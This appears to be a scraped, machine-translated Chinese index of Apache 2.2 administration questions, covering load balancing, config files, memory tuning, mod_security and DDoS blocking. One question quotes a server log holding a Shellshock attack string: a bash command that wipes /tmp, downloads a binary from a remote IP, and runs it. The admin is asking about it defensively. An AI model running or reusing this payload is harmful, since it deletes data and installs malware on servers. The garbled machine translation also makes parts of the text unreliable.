Articles of apache 2.2

NGINX与“serverpool”作为不同的域在相同的Apache服务器的LB?

我有nginx作为LB. 而2阿帕奇作为networking服务器。 比方说,我有不同的领域: www.example.com checkout.example.com 两个域将在同一个Apache服务器上。 但是在不同的目录下。 以及Apache vhost文件上的不同VHost文件。 像下面这样的devise: Nginx | ————- | | Apache Apache 下面是我现有的Nginx .conf文件,它不适用于第二个域(checkout.example.com)。 来自NGINX(mysites.conf): upstream serverpool { server 1.2.3.101:80 weight=1; server 1.2.3.102:80 weight=1; } server { listen 80; server_name www.example.com checkout.example.com; location / { proxy_pass http://serverpool; } } 从两个Apache服务器的相同的 Vhost文件(httpd.conf): <VirtualHost *:80> ServerName www.example.com DocumentRoot /var/www/html/www.example.com/ </VirtualHost> <VirtualHost *:80> […]

httpd.conf中的设置不起作用

我有以下(也许很简单)的问题: 我在debian上安装了apache2。 在我的/ etc / apache2目录中,我有一个apache2.conf和一个httpd.conf。 我认为我需要做的任何改变都应该在httpd.conf中完成。 那么,我已经添加这行到我的httpd.conf: ServerSignature off ServerTokens prod 重新启动Apache后没有改变。 在404页面上,我仍然看到apache版本。 只要将代码添加到apache2.conf,它就按预期工作。 我在这里错过了什么,或者为什么它不工作?

将多个域指定到一个域下的特定URL:Amazon S3或Apache

我有一个用户configuration文件和以下地址结构的网站: www.mywebsite.com/user1 www.mywebsite.com/user2 我需要允许用户将自己的域名指向/redirect到我网站上的相应页面,例如: www.user1owndomain.com – > www.mywebsite.com/user1 www.user2owndomain.com – > www.mywebsite.com/user2 一个外部域可以只指向一个内部页面。 用户将通过添加CNAME / Alogging手动设置他们的DNS。 用户将只有一个域,没有服务器,因此他们不能通过.htaccessredirect。 所以我需要给用户提供CNAMElogging/ Alogging,以便他们更新DNS并将他们的域redirect到我。 问题是: 如果我的网站在Amazon S3上运行,我可以做到吗? 如果是的话,如何以及有多less域可以链接的限制? 这可以通过S3本身来解决,还是需要使用Route 53? 是Linux / Apache服务器更好的平台来完成这个? 如果是,如何设置? 预先感谢您分享您的专家意见。

我应该担心服务器configuration拒绝的客户端请求,Apache日志

我有一个服务器与debian 7.我正在检查Apache的错误日志文件,看到这样的几行 [Fri Mar 20 04:56:48 2015] [error] [client 222.66.95.253] client denied by server configuration: /home/username/www/, referer: () { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-bbce >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-bbce >> /tmp/Run.sh;echo /tmp/China.Z-bbce >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh" [Mon Mar 16 […]

如果我不使用Zend Framework,是否必须加载Zend Apache / PHP扩展?

我正在configurationnetworking服务器。 我想删除任何不必要的扩展等 我没有使用Zend框架,我不会在这个服务器上使用它。 当我检查configuration(通过使用phpinfo() ),我看到,Apache正在加载一些与Zend相关的扩展。 我需要他们吗?

需要改进apache和mysqlconfiguration。 当前的configuration是由于内存最大化而崩溃的服务器?

好吧,我们运行一个不断增长的汽车零件购物车。 我们的服务器运行缓慢,总是崩溃,所以我们要求我们的虚拟主机来协助我们。 他们给我们这些报告,但我需要一些build议如何处理。 我们现在的计划是采用MySQL数据库并将其托pipe在AWS上,但是我需要知道如何确定我们需要的实例大小以及哪种服务最适合。 我也需要知道任何调整,以提高性能的Apache。 这是networking主机发送给我们的分析 这些问题的出现方式是: 1)Web应用程序超大的RAM占用空间大于512M,加上不正确的Apache调整,使得这些Web应用程序进程消耗的内存比服务器上可用的RAM多。 2)像Apache这样的服务器上的MySQL服务被调整为分配比您的服务器上可用的更多的RAM。 这使得MySQL服务不稳定,因此需要重新启动才能解决问题,如果正确调整不使用比已安装的更多的RAM,就不会出现问题。 APACHE 您的服务器的Apache MaxClients设置是默认== 256 您的服务器有32232 MB的内存 最大的Apache Web应用程序进程正在使用572.73 MB的内存 最小的Apache Web应用程序进程使用35.02 MB的内存 平均Apache Web应用程序使用94.93 MB的内存 按照Apache的平均stream程,Apache可能使用24302.09 MB RAM(可用RAM的75.40%), 按照最大的Apache进程,Apache可能使用146618.89 MB RAM(可用RAM的454.89%), 如果您仅将服务器的RAM的100%分配给Apache Web应用程序进程,则您的服务器的Apache MaxClients设置应不大于50。 最大潜在的内存使用量:146618.88 MB(可用RAM的454.89%) 分配给Apache的RAM的百分比454.89% 注意:这个分析并没有考虑到任何其他进程,比如在你的服务器上运行的MySQL数据库服务,这也需要大量的RAM资源来有效地运行,目前最less是1.2GB的RAM。 MySQL的 ——– Performance Metrics ————————————————- [–] Up for: 14h 11m 51s (9M q [195.147 qps], 41K conn, […]

Apache mod_status是否提供了调整Apacheconfiguration的任何见解?

Apache的mod_status输出是否能够帮助您调整Apache preforkconfiguration? 例如,使用Apache的mod_status,我明白了这一点 我的服务器平均得到3个请求/秒,范围是2-10个请求/秒,而一个秒杀是28个请求/秒。 我的服务器有7个平均请求正在处理,范围是1-86。 我的服务器有10个平均闲置的工人,范围是0-99。 这是否提供了什么我的Apache prefork设置应该是什么 – 特别是,MinSpareServers,MaxSpareServers,MaxClients和MaxRequestsPerChild? 或者这个数据是不相关的?

NameVirtualHost *:80和443在centos上没有虚拟主机

由于我添加了IP到我的服务器,我有很多问题,当启动apache 。 我总是有这些错误如下: [warn] NameVirtualHost *:443 has no VirtualHosts [warn] NameVirtualHost *:80 has no VirtualHosts 有时它会阻止apache启动,有时不会启动 我的conf: 操作系统:CentOS 6.6 Apache:2.2.15 我的httpd.conf : NameVirtualHost *:80 NameVirtualHost *:443 <VirtualHost *:80> ServerName www.domain.com …. </VirtualHost> #more than 500 others <VirtualHost *:80> for each domain

modsec日志文件中的密码

我能采取哪些最佳实践或方法来防止某些数据(例如密码)被logging到mod-security的日志文件中? 我们有一个呼叫进入我们的Apache服务器(并在Karaf后端),似乎偶尔触发一个mod安全规则。 此调用包含一个密码作为URL参数之一。 如何获得mod-security来报告规则,但从日志中抑制某些信息? 显然我想知道规则已经被触发,但是我担心把敏感数据留在日志中。 这是一个例子(狡猾的位在第二行): – –0a6bf76f-C– userName=fred.bloggs%40whatever.com&password=SHOULDNTBEHERE&%3Asubmit=1 –0a6bf76f-F– HTTP/1.1 200 OK Ajax-Location: ./home Content-Type: text/xml;charset=ISO-8859-1 Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Cache-Control: no-cache, no-store Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Sat, 18-Apr-2015 08:06:08 GMT Strict-Transport-Security: max-age=15768000 Vary: Accept-Encoding Content-Encoding: gzip Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked –0a6bf76f-E– <ajax-response><redirect><![CDATA[./home]]></redirect></ajax-response> –0a6bf76f-H– Message: Warning. […]

中国的防火墙DDoS和IPtables不能正常工作

最近我的服务器遭到了中国防火墙的DDoS攻击。 根据http-host头部的mod_security阻止请求中的回复中的build议,以及https://mattwilcox.net/web-development/unexpected-ddos-blocking-china-with-ipset-and-iptables中的build议/我一直在试图使用IPTables阻止来自中国防火墙的redirectDDoSstream​​量,通过阻止来自“Bittorrent”string的请求,并通过使用最新的IP列表阻止来自中国的所有IP :http:// www.ipdeny.com/ipblocks/data/countries/cn.zone 。 我的防火墙看起来像这样。 *filter # Allow all loopback (lo0) traffic and drop all traffic to 127/8 that doesn't use lo0 -A INPUT -i lo -j ACCEPT -A INPUT -d 127.0.0.0/8 -j REJECT # Accept all established inbound connections -A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT # Block anything from China # […]